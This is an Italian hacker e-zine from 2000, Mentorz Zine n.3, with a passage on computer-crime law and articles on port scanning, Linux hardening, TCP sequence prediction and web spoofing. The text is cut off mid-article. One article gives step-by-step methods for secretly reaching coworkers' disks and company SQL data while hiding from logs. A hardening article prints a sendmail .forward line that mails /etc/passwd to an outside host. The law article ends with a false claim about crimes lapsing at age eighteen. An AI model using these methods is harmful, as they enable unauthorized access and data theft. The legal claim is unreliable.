__ __ __________ / \ / \ ________________________________________ \____ / | \/ | \__________________ __________________/ / / | | ___ _ _ | | _____ ____ / / | |\/| | / _ \ / \ | \ | | / _ \ / _ \ / / | | | | / ___\ / \| \ | | / / \ \ | |/ / / / | | | | \ \__ \ |\ / | | \ \_/ / | _ \ / /_____ \__/ \__/ \___/ \_| \_/ \__/ \_____/ |_| \_\ /________/ / --------------------> M 3 N T 0 R Z - C R 3 W <--------------------- \ +o========================================================================o+ º| |º º| ****]-( MEMBERS )-[**** |º º| |º º| |º º| |º º| |º º| |º º| |º º| |º º| |º +o===============================================[ © Art By AssassinZ ]===o+ \ -- » You may stop this individual, but you can't stop us all... « --- / /=[ Mentorz Zine n.3 - anno 2 - 25/05/00 ]====================================\ | | | | |--(boot) | | | |------- Disclaimer (io ve l'avevo detto ...) ----------- {D4nG3r} | | | |------- InTro ------------------------------------------ {D4nG3r} | | | \------- Mentor's Last Words ---------------------------- Mallory | | | | | |--(login) | | | |------- Leggi Italiane --------------------------------- Elrohir | | | \------- La Perla del Giorno (con riflessioni) ---------- ^35P^ | | | | | |--(hacking) | | | |------- Il port-scanning ------------------------------- AciDDreaM | | | |------- Come muoversi all'interno di una societa' ------ ^35P^ | | | |------- Accorgimenti per rendere + sicuro il linux ----- Zinco | | | |------- Attacchi a previsione del numero di sequenza --- cl0ud | | | |------- Web-spoofing ----------------------------------- cl0ud | | | \------- Spoofing client -------------------------------- cl0ud | | | | | |--(phreaking) | | | \------- Hackiamo la segreteria del telefonino tim ------ brustox | | | | | |--(crypting) | | | |------- Cenno storico alla crittografia ---------------- [Gnomix] | | | \------- Chiave simmetrica e chiave pubblica ------------ [Gnomix] | | | | | |--(coding) | | | \------- Assembler: Le Basi ----------------------------- AciDDreaM | | | | | |--(html) | | | |------- Piccola guida all'HTML ------------------------- [T]wister | | | |------- Appendice (non e' una malattia): i meta tag ---- [T]wister | | | \------- Piccola guida all'HTML (Parte Seconda) --------- [T]wister | | | | | |--(misc) | | | |------- BOT per IRC - Introduzione --------------------- R3d|_4nC3 | | | |------- Il protocollo TCP/IP --------------------------- cl0ud | | | |------- The squid proxy server ------------------------- SMASHING | | | |------- Gestione Posta elettronica tramite Telnet ------ m3r|ak | | | \------- Overclock -------------------------------------- ^|Red-vex | | | | | \--(halt) | | \------- Saluti ----------------------------------------- {D4nG3r} | \_____________________________________________________________________________/ .==================================================================[ boot ]====. | Disclaimer (io ve l'avevo detto ...) | °============================================[ {D4nG3r} - D4nG3r@freemail.it ]=° Utilizza a tuo rischio e pericolo queste info. Tutto cio' che trovi scritto in questi articoli serve solamente a SCOPO EDUCATIVO e per capire in che modo aumentare la sicurezza dei TUOI sistemi informatici. Se ti ritieni in qualche modo offeso dal contenuto di questo file, non devi fare altro che spostarlo nel cestino. Utilizzalo quindi come meglio credi ma, se combini casini, sono xaxxi tuoi! Noi non ci assumiamo NESSUNA responsabilita'. La legalita' di questi articoli dipende solo dall'uso che ne farai... Fai molta attenzione alle TUE azioni. Continuando a leggere accetti le condizioni sopra riportate. "LA CONOSCENZA E' POTERE" io te l'ho detto ... non fare il fesso! .==================================================================[ boot ]====. | InTro | °============================================[ {D4nG3r} - D4nG3r@freemail.it ]=° Ma chi e' 'sto {D4nG3r}? Beh ... sono io :)) Da questo numero mi aspetta un compito mooolto difficile, cioe' quello di sostituire il grande [KC] (t abbrucio =) ) nella redazione di questa e-zine ... Vediamo un po' che riusciamo a fare. Per cominciare mi scuso per il lungo periodo ke e' trascorso tra una pubblikazione e l'altra, ma + di cosi' non si e' potuto fare, sara' per la prossima volta :=) Vorrei chiarire che abbiamo messo di nuovo la traduzione del "Mentor's Last Words" (thx Mallory :* ) perche' quella precedente era "poko felice" e non ne rendeva a pieno il vero significato, in ogni caso trovate l'originale (in inglese) sul primo numba (il numero 0). Di hacking non c'e' molto, solo alcune nozioni di base, che potrebbero servire a molti, e alcune tecniche, un po' + complesse e meno specifiche, che possono servire a qualke persona che ne sa gia' qualkosa, ma il tempo e' tiranno e per svariati motivi non ho ricevuto in tempo alcuni artikoli che potevano far comodo, li conserveremo per il proximo numero. :) Di pheaking, purtroppo, non c'e' nulla :(( vedremo di rimediare in futuro, anche perche' c'e' qualkuno che si sta interessando. Come gia' detto prima il tempo e' stato mooooolto poko, anche perche' ci sono stati cambiamenti radicali (come aveva detto [KC], la quasi scissione della crew, anche se e' un po' esagerata come definizione), che ci hanno fatto conoscere altre persone (alcune valide, altre no, in ogni caso ci sara' una selezione e chi dimostra di voler far qualkosa e' ben accetto) e, purtroppo, abbiamo dovuto salutare alcuni elementi. E' questo il principale motivo per cui non me la sono sentita di mettere i nick nello spazio "MEMBERS", mancanza che colmeremo sicuramente in breve tempo. Stiamo cercando di organizzarci in modo serio (tutte le critiche costruttive sono ben accette :P), cio' vuol dire che ci saranno sicuramente miglioramenti, e, giusto per sparare una data, credo che per settembre saremo totalmente pronti ad essere finalmente "qualkosa". (CORNA FACENDO :PPPPPPPPPPPP ) In ogni caso tutti gli artikoli ke trovate in questo doc servono soltanto per rendere pubblike le nostre esperienze, noi non siamo assolutamente dei genietti che vogliono fare i prof. (quelli rompono gia' abbastanza a skuola >:[ ). Per questa volta vi risparmio ... concludo augurandovi buona lettura. N.B.: Se non trovate le email degli autori degli artikoli e volete delle info riguardanti cio' che e' stato scritto, potete mandare un email a me e provvedero' a contattare la persona per chiarire eventuali dubbi (autore permettendo) :) .==================================================================[ boot ]====. | Mentor's Last Words | °==================================================================[ Mallory ]=° Un altro e' stato preso oggi, e' su tutti i quotidiani. "teenager Arrestato per Scandaloso Crimine Informatico", "Hacker arrestato dopo essersi infiltrato in una banca" ... Dannati ragazzi. Son tutti uguali. Ma avete voi, nella vostra psicologia da 4 soldi e la mentalita' anni '50, avete voi mai guardato oltre gli occhi di un hacker? Avete mai pensato a cosa sia scattato in lui, quali forze l'abbiano modellato, cosa potrebbe averlo plasmato? Sono un hacker.. entrate nel mio mondo.. Il mio e' un mondo che inizia con la scuola...Sono + brillante della maggior parte degli altri ragazzi, questa schifezza che ci insegnano mi annoia.. Dannato sottosviluppato. Sono tutti uguali. Sono alle superiori. Ho ascoltato i professori spiegare per la cinquantesima volta come ridurre una frazione. L'ho capita. "No, Sig.ra Smith, Non ho scritto il mio compito. Ce l'ho tutto nella mente.." Dannato ragazzo. Probabilmente l'ha copiato. Sono tutti Uguali Ho fatto una scoperta oggi. Ho trovato un computer. Aspetta un secondo. Fa quello che gli dico io. Se fa errori, e' perche' l'ho impallato io. Non perche' io non gli piaccio.. O perche' si sente minacciato da me... O perche' pensa che io sia uno stupido sciocco..O perche' non gli piace insegnare e pensa che non dovrebbe essere qui... Dannato ragazzo. Tutto cio' che fa e' giocare coi videogames. Son tutti uguali E poi e' successo.. una porta si e' aperta sul mondo.. scorrendo attraverso le linee telefoniche come l'eroina attraverso le vene di un tossico, un impulso elettronico e' spedito, ho trovato un rifugio dalle incompetenze di tutti i giorni.. ho trovato un mio nascondiglio. "E' questo..Questo e' il posto a cui appartengo..." Conosco tutti qui..anche se non li ho mai conosciuti, non ci ho mai parlato di persona, anche se potrei non sentirli + un giorno..vi conosco tutti... Dannato ragazzo. Collegato ancora alla linea telefonica. Sono tutti uguali.. Potete scommetterci il culo che siamo tutti uguali... A scuola siamo stati imboccati con cibo da bambini quando eravamo affamati di bistecca.. i morsi di carne che ci avete fatto ingoiare erano premasticati e senza gusto. Siamo stati comandati da sadici, o ignorati dagli apatici. I pochi che hanno avuto qualcosa da insegnarci ci han trovato dei ragazzi pieni di volonta', svegli, ma quei pochi sono come gocce d'acqua nel deserto. Questo e' il nostro mondo ora.. il mondo dell'elettrone e dello switch, della bellezza del baud. Facciamo uso di un servizio preesistente senza pagare per quello che potrebbe essere a prezzo bassissimo se non fosse controllato da ingordi approfittatori, e VOI ci chiamate criminali. Noi esploriamo..e ci chiamate criminali. Noi esistiamo senza un colore di pelle, senza nazionalita', senza pregiudizi religiosi...e ci chiamate criminali. Voi costruite bombe atomiche, intraprendete guerre, uccidete, truffate, e ci mentite e cercate di farci credere che e' solo per il nostro bene, e i criminali siamo ancora noi. Si sono un criminale. Il mio crimine e' la curiosita'. Il mio crimine e' giudicare la gente da come parla e pensa, non da come si presenta. Il mio crimine e' di mettervi nel sacco.. una cosa per cui voi non mi perdonerete mai. Sono un hacker, e questo e' il mio manifesto. Potete fermarne uno, ma non potete fermarci tutti.. Dopotutto, siamo tutti uguali. ---Mentors Hacker Manifesto .=================================================================[ login ]====. | Leggi Italiane | °===========================================[ Elrohir - bilancia81@yahoo.com ]=° Di qualunque cosa siate appassionati, hacking, phreaking, craking ecc se state leggendo quest'articolo, e quindi questa e-zine, di sicuro una volta o l’altra vi sara' capitato di percepire che in qualche modo cio' che state facendo, o nel caso siate newbies quello che vi piacerebbe fare, sia indubbiamente al di fuori dell'ambito legale italiano (e non solo). Ma nella stragrande maggioranza dei casi si tratta per lo piu', di un'idea sfumata, molto vaga e spesso non si sanno i rischi che si corrono. Il solo scopo di questo articolo e' quello di farvi conoscere i principali provvedimenti mirati a punire coloro che in un modo o nell'altro "infrangono le regole" cosi' se un giorno, bighellonando tra i computer della NASA, verrete beccati, se mentre siete intenti a mettere su un'industria di CD pirata in camera vostra e per qualche sfiga la polizia fa un blitz a casa, o se mentre vi preparate a conquistare il mondo dal computer di scuola con un potentissimo virus frutto di notti e notti di duro lavoro, la donna delle pulizie passa li vicino e sventa i vostri piani, beh potete iniziare a pensare subito subito a quello che vi aspetta :) E iniziamo proprio da queste i tanto odiati dai piu', ma amati da chi se ne intende, "opere d'arte informatica" (e spesso lo sono davvero!): i virus. La legge n. 547 del 23 dicembre 1993 del codice penale recita che: Chiunque diffonde, comunica o consegna un programma informatico da lui stesso o da altri redatto, avente per scopo o per effetto il danneggiamento di un sistema informatico o telematico dei dati o dei programmi in esso contenuti o ad esso pertinenti, ovvero l'interruzione totale o parziale del suo funzionamento, e' punito con la reclusione fino a due anni e con la multa sino a lire venti milioni. Naturalmente la pena viene applicata solo a chi diffonde i virus in maniera dolosa e quindi volontaria, non a chi infetta ad insaputa il PC altrui. Ci tengo inoltre a ricordarvi che qualora il potenziale inventore del virus venga beccato oltre alla pena di reclusione e alla multa, deve affrontare il vecchio detto "chi rompe paga" (se volete maggiori informazioni guardatevi l'art. 2043 del codice civile) e quindi (almeno in teoria) risarcire i proprietari dei sistemi danneggiati dalla propria "creaturina". Se invece siete degli innegabili curiosi e vi piace farvi gli affari degli altri, entrando dall'entrata di servizio, beh le cose variano un po'. Innanzitutto entra in gioco un fattore molto importante : la privacy. La privacy (lett. intimita') non e' nient'altro che l'insieme dei dati personali che ognuno di noi, per un motivo o per l'altro, non vuole che vengano conosciuti dagli altri. Quindi quando si entra in un qualche sistema si viola la privacy del suddetto e qui possono succedere varie cose. Vi diro' 2 elementi discriminanti innanzitutto: 1) Che sistema si buca 2) Quali dati vengono sottratti (E' chiaro che 2) e' legato direttamente ad 1) in quanto e' difficile trovare nei PC delle banche l'estratto conto di un negozio di ceramiche da bagno). Bucare la gazzetta dello sport, non e' come bucare la NASA, e rubare le foto porno dai computer altrui non e' come impossessarsi di preziose informazioni governative o industriali. In generale coloro che si sono introdotti all'interno di sistemi informatici senza fare nulla di malefico, e sono stati beccati, si sono ritrovati sottoposti a pesanti interrogativi da parte di poliziotti ed esperti, nonche' privati del loro PC e di tutti i testi d'informatica relativi. Sicuramente non vorrei essere stato al posto di quelli che sono stati beccati in questo modo ma, alla fine sono stati piu' impauriti che altro. Se invece si viene in possesso di dati personali il discorso cambia. In condizioni normali la pena va un minimo di 3 mesi ad un massimo di 2 anni. Naturalmente sempre in relazione a cosa se ne e' fatto poi dei dati. Scatenare una guerra nucleare impossessandosi dei codici di lancio delle testate atomiche americane e' ovviamente piu' grave che sabotare i computer di una scuola elementare. L'eventuale aggravamento della pena dipende poi dal singolo caso e viene deciso alla fine di un regolare processo nel quale si sono presi in considerazione tutti i danni che la fuga di dati ha portato. Parliamo ora del fenomeno di pirateria piu' diffuso in assoluto. Ossia quello della pirateria dei software. Stime statistiche dicono che circa il 55% dei programmi che girano sui computer della gente sono illeciti e violano il copyright. Ma che cos'e' esattamente il copyright? Il copyright (lett. diritto sulla copia) e' un marchio legalmente registrato e unico che puo' essere applicato su un qualsiasi prodotto da noi creato onde evitare che altra gente ci copi l'idea. In pratica serve a garantire l'originalita' e l'autenticita' delle nostre scoperte, in modo tale che non possano essere (anche qui almeno in teoria) contraffatte, rubate, ecc. Voi non lo sapete ma anche quando fotocopiamo piu' del 30% di un libro violiamo le leggi di copyright, perche' "copiamo", senza che questi lo sappia, l'idea di chi per primo ha creato il prodotto, insomma violiamo i diritti d'autore. La violazione del diritto d'autore e' perseguibile per legge e questo reato e' di competenza della magistratura. E' punibile chiunque duplichi, importi, distribuisca, venda e detenga a scopo commerciale software non originale. Le pene per questo reato partono da tre mesi di reclusione e 1.000.000 lire di multa e arrivano a tre anni di reclusione e 10 milioni di lire di multa. Bene, questa e' una panoramica piuttosto generica dei rischi che si possono correre quando si decide di intraprendere un certo cammino. Quello che spero che abbiate capito non e' il fatto che e' pericoloso commetterei atti di pirateria, ma e' pericoloso non sapere a cosa si va incontro. "Il sapere e' potere" sempre e cmq. Se sapete quello che vi aspetta saprete prepararvi meglio :) :) Byez all P.S. Un grazie a {D4nG3r} per l'opportunita' datami P.S.S. Se avete critiche, commenti, richieste la mia mail e' bilancia81@yahoo.com Scusate per gli esempi un po’ fantascientifici, ma altrimenti non mi diverto :) Scusassero anche i giuristi piu' competenti per eventuali sgarozzi ma per queste cose sono molto un fai da te :) Ah, 1 ultimo consiglio…se siete minorenni e volete farvi proprio beccare fatelo il giorno prima del vostro 18mo anno di eta'…infatti in quelle 24 ore qualsiasi reato contro voi diretto cadra' in proscrizione :)…o almeno da me si dice cosi' ;) .=================================================================[ login ]====. | La Perla del Giorno (con riflessioni) | °================================================[ ^35P^ - a_35p@hotmail.com ]=° Dunque... quella che segue e' una conversazione in query con una persona che mantengo anonima (MisterX e' un nick falso). Voglio riportarla per intero per far capire cosa non si deve mai fare.... Come non bisogna comportarsi in query.... O viceversa, come comportarsi per venir presi in giro, kikkati o bannati da un canale (o venir presi come esempio per questo articolo).... ^35P^ ovviamente sono io MisterX e' il nick che ho inventato per mantenere anonima la query.... [22:32:05] Private conversation requested by MisterX [22:32:05] senti [22:32:07] allora [22:32:21] ho sotto mano un computer colegato i nrete [22:32:27] un 10 mbit [22:32:30] con [22:32:33] un server [22:32:36] kiamato ulisse [22:32:43] con w nt [22:32:44] <^35P^> oki [22:32:45] server [22:32:53] vorrei [22:32:55] sapere [22:32:59] se io povero utente [22:33:10] sfigato posso prendere o smagare le altre password [22:33:15] di account o quella [22:33:19] di administratore [22:33:22] l osai fare? [22:33:41] <^35P^> Aahahahah Grande domanda.... diciamo che si puo' fare..... [22:34:03] e come lo sai? [22:34:47] <^35P^> diciamo che ho letto parecchie security info e fatto delle prove.... [22:34:58] daii qualcosa che funge? [22:36:12] <^35P^> a cosa ti serve? [22:36:23] te lo detto [22:36:26] per prendere la password [22:36:33] di admin [22:36:51] <^35P^> e poi cosa ci vuoi fare? [22:37:23] aiutare il responsabile [22:37:23] :) [22:37:23] daiii puoi? [22:38:14] <^35P^> non puoi chiedergliela? [22:38:28] senti mi sa ke sei un poco impedito [22:38:35] ciao [22:38:54] <^35P^> Ahahahah ciao Non si fa cosi'.... soprattutto non si impara cosi'.... questo e' comportamento da puro lama. Sapete spesso e volentieri cosa mi viene risposto quando faccio domande? man quellochetiinteressa (e chi usa Linux sa cosa significa man, chi non lo usa, cominci) Evitare di querare qualcuno per porre domande cosi' idiote. "Se devi chiedere, forse e' perche' non ti interessa abbastanza da trovare tu stesso la risposta" Sarebbe stato ben diverso se mi avessero chiesto: "Senti dove posso trovare materiale da studiare per fare questo e quest'altro?" E ora alcuni consigli: 1. Leggete roba seria: evitate cagate come riviste farlocche copiate in giro che "insegnano" anche come costruire una bomba in casa che poi vi fate del male sul serio.... 2. Evitate di vantarvi credendo di esser Hacker, solo perche' riuscite a buttar giu' la connessione modem del vostro amico, studiatevi piuttosto i protocolli di rete. 3. Se davvero vi interessa l'Hacking e/o affini, a Natale al posto della playstation fatevi regalare la guida completa al TCP/IP e/o un bel manuale su Linux, costano meno e non rincoglioniscono. 4. Mantenetevi informati, iscrivetevi a mailing list o newsgroup sulla sicurezza dei vari os, leggete gli help, i man, gli HOW-TO: se qualche pirla li ha scritti qualcosa di sensato ci dovra' pur essere.... 5. Provate provate e ancora provate...... 6. Prima di chiedere cercate su: -www.mentorz.org -astalavista.box.sk -www.antionline.com -www.packetstorm.securify.com -www.dislessici.org -www.phrack.com -www.rootshell.com -info.internet.isi.edu:80/in-notes/rfc/files/ ...e tutti quelli che non mi vengono in mente....... .===============================================================[ hacking ]====. | Il port-scanning | °=========================================[ AciDDreaM - acidlair@freeweb.org ]=° - preambolo - Perke' mai dovremmo mappare le attivita' su un computer remoto o locale? Perke' mai dovremmo determinare il Sistema Operativo ke gestisce determinati servizi? _non lo so, forse per curiosita' ! Non tutti gli amministratori di rete sono contenti guardando i net-log e scoprendo di esser stati bersaglio di un port-scanning; scommetto ke non farebbe piacere nemmeno a te ;o) . Un server, generalmente una makkina in rete offre determinati servizi verso l'esterno, attendendo delle connessioni in entrata su diverse porte (65536 circa). Per fare un esempio: p.21 ---> FTP p.23 ---> Telnet p.80 ---> Web Server queste sono alcune delle porte standard adottate in ambito internet, per un dettagliato mapping delle porte std. invito a consultare www.mentorz.org non essendo possibile inserire tutto in questo artico. - La porta e' attiva? - Intuitivamente per scoprire la porte "in ascolto" basterebbe connettersi e vedere cosa succede... in effetti questo e' il metodo + veloce, ma non sempre il + efficace: - TCP connect() Questa e' la vera connessione TCP, veloce e non sbaglia mai, lancia sockets al host e attende la risposta positiva o il "port unrichable". PRO: veloce, rikiede privilegi minimi. CONTO: un tcp-logger sgama il vostro ip. Un firewall non ha problemi a filtrare la connessione. - SYN Questa e' interessante, molto + discretamente ci si limita a mandare un pakketto SYN e ad attendere la risposta remota; in caso di risposta affermativa (SYN|ACK) non si apre la connessione TCP vera e propria ma si kiude (RST). In caso di porta non attiva si riceve direttamente l'RST remoto. PRO: non di dikiara cosi' apertamente la propria identita'. CONTRO: un po' + lento rispetto al connect(); spezzo viene loggata dai syn-logger. -FIN Similmente al SYN, il pakketto FIN lanciato sulle porte kiuse implica la ricezione di un pakketto RST, mentre sulle porte aperte non riceve alcuna risposta. PRO: estremamente anonimo; l'eventuale risposta potrebbe essere usata come discriminante per determinare il SO remoto. CONTRO: diversi SO non sono vulnerabili a questo tipo di scanning, rispondendo con RST anke alle conn. su porte aperte. -Fragmentation Scan La rikiesta TCP viene splittata in diversi pacchetti IP, cosi' facendo si puo' evitare ke l'host capisca la nostra intenzione e filtri la richiesta. CONTRO: molte volte non si ottiene la perfetta ricostituzione del TCP, la rikiesta puo' andare in segmentation fault. TCP revers ident: Grazie al protocollo ident (RFC 1413) siamo in grado di determinare l'utente proprietario del processo in ascolto sulla porta; xes. siamo in grado di verificare se il server web sulla 80 e' root. CONTRO: rikiede una connessione TCP intera.... Nei prossimi numeri cerkero' di approfondire l'argomento facendo qualke esempio di implementazione pratica. enjoy .===============================================================[ hacking ]====. | Come muoversi all'interno della societa' in cui si lavora | °================================================[ ^35P^ - a_35p@hotmail.com ]=° L'autore sconsiglia fortemente l'uso di tali nozioni poiche' violerebbero la privacy, andrebbero contro le regole aziendali e porterebbero senz'altro a spiacevoli sanzioni disciplinari. Purtroppo le regole aziendali al 99% impongono l'uso di client winsbloz e Server Nt. E' a questi sistemi operativi che quindi faccio riferimento. Dunque, chi lavora in grosse societa', quelle con parecchi server, tanti client, database, file server.... Ha la possibilita' di reperire un sacco di informazioni, quelle informazioni che molti chiamano violazione della privacy e per altri significa pura e semplice curiosita'.... "Il nostro crimine e' la curiosita'" Cominciamo: dal protocollo di comunicazione: le piccole societa', che necessitano solo e semplicemente della condivisione dei file e che hanno magari una mini-lan nell'ufficio utilizzeranno facilmente il NetBeui, protocollo "stupido" che pero' e' comodissimo appunto per le piccole lan (>10-15pc). Questo protocollo permette la condivisione dei file e stampanti senza settaggi particolari.... E' necessario specificare il nome del client e la macchina di fatto e' in rete. Se dovete cercare qui e la' nella rete, vi basta cambiare il nome del client, fare un reboot e il gioco e' fatto. Se qualcuno, mentre voi siete in qualche cartella condivisa, lancia l'analizzatore di rete di winuaz, notera' una connessione al suo computer, ma non sara' in grado di risalire alla macchina, visto che abbiamo cambiato il nome del client. Potrete poi, una sera che siete rimasti in ufficio da soli, attivare la condivisione dell'intero hard disk di tutti i client. Per farlo in maniera tale da poterci accedere e sopratutto vedere solo da voi e' sufficiente aggiungere il carattere $ alla condivisione. Esattamente come in Nt. In questa maniera, se qualcuno apre un computer non vede la condivisione, ma se voi scrivete il nome del computer, la condivisione seguita da $ ci entrerete senza problemi (\\pippo\c$). Se la vostra rete e' abbastanza grossa, ma non troppo, userete molto probabilmente il tcp/ip statico. Qui e' sufficiente cambiare l'ip, riavviare e il gioco e' fatto. Ci saranno pero' delle macchine un po' piu' interessanti, dei server.... e facilmente dei file server a cui accedere e reperire informazioni..... Se la rete e' disordinata, cioe' vi sono piu' protocolli installati, configurate il netbeui come predefinito e cambiate nome al client. Se nella societa' vi e' un database sql, e non avete la password per accedere ai dati, e' sufficiente creare gli odbc necessari (copiateli dal client vicino) e importate, usando Access, le tabelle che vi interessano accedendo al server sql sfruttando le trusted connection anziche' le standard security. Utilizzando le connessioni di tipo trusted si sfrutta infatti l'autenticazione effettuata con il server nt e si ignorano le password richieste da sql. Potrete quindi accedere al server e scaricarvi tutte le tabelle che vi interessano e, se avete cambiato il nome al client, e l'ip statico negli eventuali log di sql (il tracer) vi comparira' si' un accesso, ma non sapranno da quale macchina arriva. .===============================================================[ hacking ]====. | Alcuni accorgimenti per rendere piu' sicuro il proprio sistema linux | °================================================[ Zinco - zinco@freemail.it ]=° Linux e' un sistema sicuro per navigare in rete, a patto che si rispettino delle piccole modifiche da apportare al proprio sistema, perche' gli stessi exploit che possono essere utilizzati per guadagnare l'accesso ad un server Unix o Linux, possono essere utilizzati per guadagnare l'accesso nel nostro sistema...e questo non lo vogliamo. :) Un primo passo, consiste nel editare il file: /etc/inetd.conf e chiudere tutti i servizi inutilizzati ponendo il simbolo # prima della definizione del servizio. Un servizio molto pericoloso e' offerto dai demoni "rlogind" e "rshd", perche' utilizzando un difetto di un altro servizio si potrebbe configurare un proprio accesso con un account gia' esistente. La loro configurazione avviene attraverso due file possibili: /etc/hosts.equiv e ~/.rhosts nella directory personale degli utenti. Quando all'interno di questi file vengono elencati i nome degli host che possono accedere seguiti dai nomi degli utenti (nel file /etc/hosts.equiv), si concede a questi client di assumere la personalita' di qualunque altro utente di quel sistema, escluso l'account root. pardo.berg.com lillo.berg.com certo.berg.com tizio Se nel file sopra citato il contenuto e' questo, l'utente "tizio" del client certo.berg.com puo' accedere come gli pare. tizio@certo.berg.com:~$ rsh -l sempronio vittima.berg.com ... In questo esempio l'utente tizio accede al computer vittima.berg.com utilizzando l'account sempronio, senza dover indicare alcuna password. Un altro punto dolente e' rappresentato dal "sendmail". Uno dei suoi maggiori problemi e' rappresentato dal fatto che ha la possibilita' avere un destinatario rappresentato da un file o da una pipeline. Se per esempio in una directory e' permessa la scrittura, un utente che ha accesso al vostro sistema potrebbe mettere in quella directory un file .forward con il contenuto seguente: "|/bin/mail tizio@pardo.berg.com < /etc/passwd" Dopo aver inserito il file .forward nella directory dove ha la scrittura, semplicemente mandando una mail all'indirizzo ftp@vittima.berg.com, il file passwd viene spedito dall'indirizzo tizio@pardo.berg.com. L'elenco dei possibili exploit del vostro sistema e' lunghissimo, l'unico consiglio che posso darvi e' questo: Se dovete utilizzare un dato servizio sul vostro pc, come sendmail, ftp, apache, ecc. segnatevi le versioni di ciascuno dei servizi, e cercate exploit in rete fate un analisi accurata, e mano a mano che trovate gli exploit, utilizzate i consigli riportati per annullarli. Qui di seguito elenchero' delle operazioni da effettuare per aumentare la sicurezza: Eliminare i file ~/hosts.equiv; eliminare il file ~/rhosts di ogni utente; disabilitare gli account di sistema; eliminare il servizio Finger se non e' indispensabile; controllare tutti i programmi che hanno il bit "suid" o "sgid" attivato; attivare le password shadow. Spero di esservi stato utile, per molti potrebbero risultare consigli scontati, per altri inutili, per altri interessanti. Questo testo e' stato creato per l'ultima categoria :) Un ultimo consiglio, frequentate spesso siti sulla sicurezza. In internet, quello che puoi fare agli altri, puo' essere fatto a te. .===============================================================[ hacking ]====. | Attacchi a previsione del numero di sequenza | °==============================================[ cl0ud - cloudjj@hotmail.com ]=° Gli Hacker possono attaccare i sistemi in vari modi... non esiste, secondo me, una tecnica "generale" ma esistono varie tecniche a secondo di cosa si vuole attaccare. La forma piu' "semplice" di attacco da parte di un hacker e' l'attacco a previsione della sequenza di numeri dei protocolli TCP/IP. Ogni computer di una rete ha un proprio indirizzo IP. All'interno di una connessione TCP, il computer ricevente accetta solo pacchetti con l'indirizzo IP e il numero di sequenza corretto. Inoltre si e' detto che molti dispositivi di sicurezza, inclusi i router, consentono le trasmissioni in rete solo verso e da computer con determinati indirizzi IP. L'attacco a previsione del numero di sequenza TCP/IP utilizza il modo in cui le reti indirizzano i computer e creano la sequenza di pacchetti. L'hacker esegue l'attacco in due fasi. Nella prima determina o almeno cerca di determinare l'indirizzo IP del server (un modo molto semplice puo' essere connettendosi al sito mediante un browser WEB e osservandone l'indirizzo IP nella barra di stato). Poiche’ l'hacker sa che gli altri computer della rete condividono una parte dell'indirizzo IP del server, una buona idea sarebbe simulare un indirizzo IP che gli consenta di by-passare il router e di accedere al sistema come se fosse un utente interno. Ad esempio se un sistema ha l'indirizzo IP 192.0.0.12, l'hacker, sapendo che in una rete di classe C vi possono essere fino a 256 computer, potra' cercare di indovinare i loro indirizzi unificando unicamente l'ultimo byte. Dopo che l'hacker avra' iniziato a trovare gli indirizzi della rete, iniziera' anche a controllare i numeri di sequenza dei pacchetti che si trasmettono tali computer. Dopo aver monitorizzato le trasmissioni della rete, l'hacker cerchera' di prevedere il prossimo numero di sequenza che verra' generato dal server e quindi fornira' un proprio pacchetto con tale numero di sequenza inserendosi fra il server e l'utente. Poiche’ l'hacker ha gia' l'indirizzo IP del server, puo' in realta' generare pacchetti con i numeri di sequenza corretti e indirizzi IP che gli consentono di intercettare le trasmissioni con l'utente. 192.0.0.12 192.0.0.12 VERO PC CON INDIRIZZO HACKER <----------> SERVER 129.0.0.165 Dopo che l'hacker ha avuto accesso al sistema tramite la previsione di un numero di sequenza, puo’ accedere alle informazioni che il sistema di comunicazione trasmette al server, inclusi i file di password, login, dati riservati e ogni informazione trasmessa in rete. In genere questo attacco viene usato dagli hacker come preparativo per l'attacco vero e proprio al server oppure come base per l'attacco di un altro server della rete. DIFESA contro attacchi a previsione del numero di sequenza Il modo piu’ semplice per proteggere i sistemi contro questi attacchi consiste nell'assicurarsi chi il router, il firewall e ogni server del sistema abbiano attivato le protezione audit-trail. Utilizzando gli audit-trail (e' un metodo automatico per registrare tutte le transazioni che si verificano su un server e, in alcuni casi, su una rete; l'audit-trail spesso viene usato dagli amministratori di rete per individuare un attacco esterno e interno, per controllare le attivita' dei dipendenti... in breve puo’ aiutare a scovare l'intruso che ha avuto accesso al sistema.) si puo’ osservare quando un hacker tenta di attraversare un router e il firewall e quando tenta di accedere al server. Esso mostrera' una sequenza che potrebbe essere molto simile: Access Denied. IP address unknown Access Denied. IP address unknown Access Denied. IP address unknown Access Denied. IP address unknown Access Denied. IP address unknown Access Denied. IP address unknown Access Denied. IP address unknown Access Denied. IP address unknown Access Denied. IP address unknown Access Denied. IP address unknown Access Denied. IP address unknown Access Denied. IP address unknown Spesso si trovano intere sequenza di queste righe in quanto il computer dell'hacker continua a ricercare un corrispondenza nel numero di sequenza. Utilizzando uno dei programmi di servizio disponibili si puo’ richiedere che dopo un certo numero di tentativi di accessi negati venga prodotto un avvertimento. written by cl0ud .===============================================================[ hacking ]====. | Web-spoofing | °==============================================[ cl0ud - cloudjj@hotmail.com ]=° Un altro tipo di attacco e' il Web-spoofing. Quando esegue un attacco Web-spoofing, l'hacker crea una copia falsa ma convincente dell'intero sito Web. Il sito Web ha l'aspetto del sito vero e proprio, ovvero contiene le stesse pagine e gli stessi link del sito vero e proprio, ma e' completamente sotto il controllo dell'hacker. Questo attacco e' possibile solo se il server Web dell'hacker si trova tra l'utente e il Web. Il primo passo consiste nel riscrivere TUTTI gli indirizzi URL di qualche pagina Web in modo che essi puntino al suo server. Si supponga che il dominio del server dell'hacker sia hacker.hck, l'hacker riscrive un indirizzo URL aggiungendo www.hacker.hck/ davanti a tutti gli indirizzi URL... es. http://www.hacker.hck/www.esempio.it. Quando si raggiunge la pagina web riscritta, l'indirizzo web avra' un aspetto normale!!! In un attacco web-spoofing, l'hacker puo’ controllare tutto il traffico di ritorno dal server Web alla sua vittima. E' davvero difficile sfuggire ad un attacco web-spoofing dopo che questo e' iniziato. Tutta via l'inizio di un attacco di questo tipo richiede determinate azioni da parte della vittima. In altre parole l'hacker deve spingere le vittime a fare clic su un link falso. Un hacker puo’ fare tutto questo in diversi modi. - Puo' inserire il link che conduce al falso web su una pagina ben nota! - L'hacker puo’ inviare via e-mail alla vittima il contenuto di una pagina del falso web L'hacker fondamentalmente puo’ impiegare varie tecniche per condurre la vittima nel falso web. written by cl0ud .===============================================================[ hacking ]====. | Spoofing client | °==============================================[ cl0ud - cloudjj@hotmail.com ]=° I servizi dei protocolli TCP (Transfer Control Protocol) e UDP (Uniform Datagram Protocol) suppongono che un indirizzo IP (Internet Protocol) sia valido e pertanto si fidano di questo indirizzo. Tuttavia, l'host di un hacker 